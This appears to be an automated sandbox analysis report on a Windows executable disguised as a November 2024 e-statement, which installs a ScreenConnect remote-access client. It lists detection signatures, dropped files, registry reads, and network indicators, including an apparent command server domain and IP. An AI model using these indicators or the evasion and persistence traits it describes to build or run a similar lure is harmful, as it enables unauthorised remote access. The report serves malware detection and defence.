Windows Analysis Report
2024-11 eStmt 5563019.exe

Overview

General Information

Sample name: 2024-11 eStmt 5563019.exe
Analysis ID: 1560600
MD5: cfd5440eaeb5064ac2de9b51eae3ab36
SHA1: 525c75f4ce4bda66437086c85330e3a25729f3ae
SHA256: 3480dfb2e9fa90eb525178e8dd926ae4a760473e14ca3655e48cd88c8c21ece9
Infos:

Detection

ScreenConnect Tool
Score: 46
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Compliance

Score: 32
Range: 0 - 100

Signatures

Multi AV Scanner detection for submitted file
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to hide user accounts
Creates files in the system32 config directory
Detected potential unwanted application
Enables network access during safeboot for specific services
Possible COM Object hijacking
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for available system drives (often done to infect USB drives)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Found dropped PE file which has not been started or loaded
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: 2024-11 eStmt 5563019.exe ReversingLabs: Detection: 25%
Source: 2024-11 eStmt 5563019.exe Virustotal: Detection: 26% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 85.1% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_044F15B8 CryptProtectData, 7_2_044F15B8
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_044F15B0 CryptProtectData, 7_2_044F15B0
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7DA7C CryptUnprotectData, 7_2_05E7DA7C
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7F549 CryptUnprotectData, 7_2_05E7F549
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7DA62 CryptUnprotectData, 7_2_05E7DA62
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7DA74 CryptUnprotectData, 7_2_05E7DA74
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_05E7DA5C CryptUnprotectData, 7_2_05E7DA5C
EXE planting / hijacking vulnerabilities found
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe EXE: msiexec.exe Jump to behavior

Compliance
barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe EXE: msiexec.exe Jump to behavior
Uses 32bit PE files
Source: 2024-11 eStmt 5563019.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 2024-11 eStmt 5563019.exe Static PE information: certificate valid
Source: 2024-11 eStmt 5563019.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000002.2969214232.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808027783.0000000000C00000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808808896.0000000002581000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808367972.0000000000C72000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.dll.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000007.00000000.1744657723.00000000002AD000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: 2024-11 eStmt 5563019.exe, ScreenConnect.Windows.dll.2.dr, ScreenConnect.Windows.dll.4.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdb source: Microsoft.Deployment.WindowsInstaller.dll.4.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdbol source: ScreenConnect.InstallerActions.dll.4.dr
Source: Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller\Microsoft.Deployment.WindowsInstaller.pdbT source: Microsoft.Deployment.WindowsInstaller.dll.4.dr
Source: Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: 2024-11 eStmt 5563019.exe, MSI5684.tmp.2.dr, 6153c7.msi.2.dr, 6153c6.rbs.2.dr, MSI586B.tmp.2.dr, MSI56A4.tmp.2.dr, 6153c5.msi.2.dr, setup.msi.0.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000008.00000000.1761037856.0000000000EB2000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\InstallerActions\obj\Release\ScreenConnect.InstallerActions.pdb source: ScreenConnect.InstallerActions.dll.4.dr
Source: Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: 2024-11 eStmt 5563019.exe, MSI4E28.tmp.1.dr, 6153c7.msi.2.dr, 6153c5.msi.2.dr, setup.msi.0.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808118214.0000000000C32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb] source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1808118214.0000000000C32000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbY/ source: 2024-11 eStmt 5563019.exe, ScreenConnect.Core.dll.4.dr, ScreenConnect.Core.dll.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: 2024-11 eStmt 5563019.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: 2024-11 eStmt 5563019.exe, ScreenConnect.Core.dll.4.dr, ScreenConnect.Core.dll.2.dr
Checks for available system drives (often done to infect USB drives)
Source: C:\Windows\System32\msiexec.exe File opened: z: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: x: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: v: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: t: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: r: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: p: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: n: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: l: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: j: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: h: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: f: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: b: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: y: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: w: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: u: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: s: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: q: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: o: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: m: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: k: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: i: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: g: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: e: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: c: Jump to behavior
Source: C:\Windows\System32\msiexec.exe File opened: a: Jump to behavior

Networking
barindex
Enables network access during safeboot for specific services
Source: C:\Windows\System32\msiexec.exe Registry value created: NULL Service Jump to behavior
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49731 -> 176.123.1.130:8880
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ALEXHOSTMD ALEXHOSTMD
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: bw36back93.site
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://ocsp.digicert.com0
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: ScreenConnect.ClientService.exe, 00000007.00000002.2969575869.0000000002076000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1808808896.0000000002A02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Microsoft.Deployment.WindowsInstaller.dll.4.dr String found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
Source: Microsoft.Deployment.WindowsInstaller.dll.4.dr String found in binary or memory: http://wixtoolset.org/news/
Source: Microsoft.Deployment.WindowsInstaller.dll.4.dr String found in binary or memory: http://wixtoolset.org/releases/
Source: 2024-11 eStmt 5563019.exe, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.WindowsCredentialProvider.dll.2.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: ScreenConnect.Core.dll.2.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security Jump to behavior
Reads the System eventlog
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System Jump to behavior

System Summary
barindex
Detected potential unwanted application
Source: 2024-11 eStmt 5563019.exe PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US
Creates files inside the system directory
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6153c5.msi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\inprogressinstallinfo.ipi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\SourceHash{2AB23E87-2E48-F825-88EA-423B8FFA6658} Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI5684.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI56A4.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI586B.tmp Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6153c7.msi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\6153c7.msi Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\{2AB23E87-2E48-F825-88EA-423B8FFA6658} Jump to behavior
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\{2AB23E87-2E48-F825-88EA-423B8FFA6658}\DefaultIcon Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File created: C:\Windows\Installer\wix{2AB23E87-2E48-F825-88EA-423B8FFA6658}.SchedServiceConfig.rmi Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d519fd2fdcfe66e7) Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d519fd2fdcfe66e7)\cq3gckld.tmp Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d519fd2fdcfe66e7)\cq3gckld.newcfg Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log Jump to behavior
Deletes files inside the Windows folder
Source: C:\Windows\System32\msiexec.exe File deleted: C:\Windows\Installer\MSI56A4.tmp Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_0568CCF0 0_2_0568CCF0
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_05684CA0 0_2_05684CA0
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_0568DEC3 0_2_0568DEC3
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_0568E941 0_2_0568E941
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_05687B48 0_2_05687B48
Source: C:\Users\user\Desktop\2024-11 eStmt 5563019.exe Code function: 0_2_05684C90 0_2_05684C90
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.ClientService.exe Code function: 7_2_016CCE2F 7_2_016CCE2F
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B34D5FA 8_2_00007FFD9B34D5FA
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B6412E3 8_2_00007FFD9B6412E3
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B64158C 8_2_00007FFD9B64158C
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 8_2_00007FFD9B64246D 8_2_00007FFD9B64246D
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B336FF2 9_2_00007FFD9B336FF2
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B33D5FA 9_2_00007FFD9B33D5FA
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B35FE08 9_2_00007FFD9B35FE08
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B63AAF2 9_2_00007FFD9B63AAF2
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B632985 9_2_00007FFD9B632985
Source: C:\Program Files (x86)\ScreenConnect Client (d519fd2fdcfe66e7)\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B639D46 9_2_00007FFD9B639D46
PE file contains executable resources (Code or Archives)
Source: 2024-11 eStmt 5563019.exe Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2024-11 eStmt 5563019.exe Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2024-11 eStmt 5563019.exe Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2024-11 eStmt 5563019.exe Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2024-11 eStmt 5563019.exe Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Sample file is different than original file name gathered from version info
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1715462990.00000000016B0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1729022620.0000000005A02000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1729022620.0000000005A02000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSfxCA.dllL vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1729022620.0000000005A02000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenamewixca.dll\ vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1729022620.0000000005A02000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1723679267.0000000005580000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000009A8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000009A8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameSfxCA.dllL vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000009A8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamewixca.dll\ vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000009A8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameScreenConnect.ClientInstallerRunner.exe< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000009A8000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameDotNetResolver.exe4 vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1730905665.0000000006302000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameScreenConnect.InstallerActions.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1730905665.0000000006302000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSfxCA.dllL vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000002.1730905665.0000000006302000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamewixca.dll\ vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameScreenConnect.Core.dll< vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamelibwebp.dllB vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamezlib.dll2 vs 2024-11 eStmt 5563019.exe
Source: 2024-11 eStmt 5563019.exe, 00000000.00000000.1703130673.00000000005C6000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameScreenConnect.Windows.dll< vs 2024-11 eStmt 5563019.exe
